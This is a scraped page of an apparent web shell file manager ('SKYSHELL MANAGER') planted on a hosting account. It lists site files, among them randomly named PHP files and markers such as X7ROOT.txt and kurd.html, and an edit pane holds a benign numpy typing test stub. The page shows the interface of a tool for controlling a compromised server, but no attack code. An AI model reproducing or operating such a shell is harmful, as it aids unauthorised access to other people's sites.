📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: lib_polynomial.pyi
import numpy as np import numpy.typing as npt AR_b: npt.NDArray[np.bool_] AR_u4: npt.NDArray[np.uint32] AR_i8: npt.NDArray[np.int64] AR_f8: npt.NDArray[np.float64] AR_c16: npt.NDArray[np.complex128] AR_O: npt.NDArray[np.object_] poly_obj: np.poly1d reveal_type(poly_obj.variable) # E: str reveal_type(poly_obj.order) # E: int reveal_type(poly_obj.o) # E: int reveal_type(poly_obj.roots) # E: ndarray[Any, dtype[Any]] reveal_type(poly_obj.r) # E: ndarray[Any, dtype[Any]] reveal_type(poly_obj.coeffs) # E: ndarray[Any, dtype[Any]] reveal_type(poly_obj.c) # E: ndarray[Any, dtype[Any]] reveal_type(poly_obj.coef) # E: ndarray[Any, dtype[Any]] reveal_type(poly_obj.coefficients) # E: ndarray[Any, dtype[Any]] reveal_type(poly_obj.__hash__) # E: None reveal_type(poly_obj(1)) # E: Any reveal_type(poly_obj([1])) # E: ndarray[Any, dtype[Any]] reveal_type(poly_obj(poly_obj)) # E: poly1d reveal_type(len(poly_obj)) # E: int reveal_type(-poly_obj) # E: poly1d reveal_type(+poly_obj) # E: poly1d reveal_type(poly_obj * 5) # E: poly1d reveal_type(5 * poly_obj) # E: poly1d reveal_type(poly_obj + 5) # E: poly1d reveal_type(5 + poly_obj) # E: poly1d reveal_type(poly_obj - 5) # E: poly1d reveal_type(5 - poly_obj) # E: poly1d reveal_type(poly_obj**1) # E: poly1d reveal_type(poly_obj**1.0) # E: poly1d reveal_type(poly_obj / 5) # E: poly1d reveal_type(5 / poly_obj) # E: poly1d reveal_type(poly_obj[0]) # E: Any poly_obj[0] = 5 reveal_type(iter(poly_obj)) # E: Iterator[Any] reveal_type(poly_obj.deriv()) # E: poly1d reveal_type(poly_obj.integ()) # E: poly1d reveal_type(np.poly(poly_obj)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.poly(AR_f8)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.poly(AR_c16)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.polyint(poly_obj)) # E: poly1d reveal_type(np.polyint(AR_f8)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.polyint(AR_f8, k=AR_c16)) # E: ndarray[Any, dtype[complexfloating[Any, Any]]] reveal_type(np.polyint(AR_O, m=2)) # E: ndarray[Any, dtype[object_]] reveal_type(np.polyder(poly_obj)) # E: poly1d reveal_type(np.polyder(AR_f8)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.polyder(AR_c16)) # E: ndarray[Any, dtype[complexfloating[Any, Any]]] reveal_type(np.polyder(AR_O, m=2)) # E: ndarray[Any, dtype[object_]] reveal_type(np.polyfit(AR_f8, AR_f8, 2)) # E: ndarray[Any, dtype[{float64}]] reveal_type(np.polyfit(AR_f8, AR_i8, 1, full=True)) # E: Tuple[ndarray[Any, dtype[{float64}]], ndarray[Any, dtype[{float64}]], ndarray[Any, dtype[signedinteger[typing._32Bit]]], ndarray[Any, dtype[{float64}]], ndarray[Any, dtype[{float64}]]] reveal_type(np.polyfit(AR_u4, AR_f8, 1.0, cov="unscaled")) # E: Tuple[ndarray[Any, dtype[{float64}]], ndarray[Any, dtype[{float64}]]] reveal_type(np.polyfit(AR_c16, AR_f8, 2)) # E: ndarray[Any, dtype[{complex128}]] reveal_type(np.polyfit(AR_f8, AR_c16, 1, full=True)) # E: Tuple[ndarray[Any, dtype[{complex128}]], ndarray[Any, dtype[{float64}]], ndarray[Any, dtype[signedinteger[typing._32Bit]]], ndarray[Any, dtype[{float64}]], ndarray[Any, dtype[{float64}]]] reveal_type(np.polyfit(AR_u4, AR_c16, 1.0, cov=True)) # E: Tuple[ndarray[Any, dtype[{complex128}]], ndarray[Any, dtype[{complex128}]]] reveal_type(np.polyval(AR_b, AR_b)) # E: ndarray[Any, dtype[{int64}]] reveal_type(np.polyval(AR_u4, AR_b)) # E: ndarray[Any, dtype[unsignedinteger[Any]]] reveal_type(np.polyval(AR_i8, AR_i8)) # E: ndarray[Any, dtype[signedinteger[Any]]] reveal_type(np.polyval(AR_f8, AR_i8)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.polyval(AR_i8, AR_c16)) # E: ndarray[Any, dtype[complexfloating[Any, Any]]] reveal_type(np.polyval(AR_O, AR_O)) # E: ndarray[Any, dtype[object_]] reveal_type(np.polyadd(poly_obj, AR_i8)) # E: poly1d reveal_type(np.polyadd(AR_f8, poly_obj)) # E: poly1d reveal_type(np.polyadd(AR_b, AR_b)) # E: ndarray[Any, dtype[bool_]] reveal_type(np.polyadd(AR_u4, AR_b)) # E: ndarray[Any, dtype[unsignedinteger[Any]]] reveal_type(np.polyadd(AR_i8, AR_i8)) # E: ndarray[Any, dtype[signedinteger[Any]]] reveal_type(np.polyadd(AR_f8, AR_i8)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.polyadd(AR_i8, AR_c16)) # E: ndarray[Any, dtype[complexfloating[Any, Any]]] reveal_type(np.polyadd(AR_O, AR_O)) # E: ndarray[Any, dtype[object_]] reveal_type(np.polysub(poly_obj, AR_i8)) # E: poly1d reveal_type(np.polysub(AR_f8, poly_obj)) # E: poly1d reveal_type(np.polysub(AR_b, AR_b)) # E: <nothing> reveal_type(np.polysub(AR_u4, AR_b)) # E: ndarray[Any, dtype[unsignedinteger[Any]]] reveal_type(np.polysub(AR_i8, AR_i8)) # E: ndarray[Any, dtype[signedinteger[Any]]] reveal_type(np.polysub(AR_f8, AR_i8)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.polysub(AR_i8, AR_c16)) # E: ndarray[Any, dtype[complexfloating[Any, Any]]] reveal_type(np.polysub(AR_O, AR_O)) # E: ndarray[Any, dtype[object_]] reveal_type(np.polymul(poly_obj, AR_i8)) # E: poly1d reveal_type(np.polymul(AR_f8, poly_obj)) # E: poly1d reveal_type(np.polymul(AR_b, AR_b)) # E: ndarray[Any, dtype[bool_]] reveal_type(np.polymul(AR_u4, AR_b)) # E: ndarray[Any, dtype[unsignedinteger[Any]]] reveal_type(np.polymul(AR_i8, AR_i8)) # E: ndarray[Any, dtype[signedinteger[Any]]] reveal_type(np.polymul(AR_f8, AR_i8)) # E: ndarray[Any, dtype[floating[Any]]] reveal_type(np.polymul(AR_i8, AR_c16)) # E: ndarray[Any, dtype[complexfloating[Any, Any]]] reveal_type(np.polymul(AR_O, AR_O)) # E: ndarray[Any, dtype[object_]] reveal_type(np.polydiv(poly_obj, AR_i8)) # E: poly1d reveal_type(np.polydiv(AR_f8, poly_obj)) # E: poly1d reveal_type(np.polydiv(AR_b, AR_b)) # E: Tuple[ndarray[Any, dtype[floating[Any]]], ndarray[Any, dtype[floating[Any]]]] reveal_type(np.polydiv(AR_u4, AR_b)) # E: Tuple[ndarray[Any, dtype[floating[Any]]], ndarray[Any, dtype[floating[Any]]]] reveal_type(np.polydiv(AR_i8, AR_i8)) # E: Tuple[ndarray[Any, dtype[floating[Any]]], ndarray[Any, dtype[floating[Any]]]] reveal_type(np.polydiv(AR_f8, AR_i8)) # E: Tuple[ndarray[Any, dtype[floating[Any]]], ndarray[Any, dtype[floating[Any]]]] reveal_type(np.polydiv(AR_i8, AR_c16)) # E: Tuple[ndarray[Any, dtype[complexfloating[Any, Any]]], ndarray[Any, dtype[complexfloating[Any, Any]]]] reveal_type(np.polydiv(AR_O, AR_O)) # E: Tuple[ndarray[Any, dtype[Any]], ndarray[Any, dtype[Any]]]
Save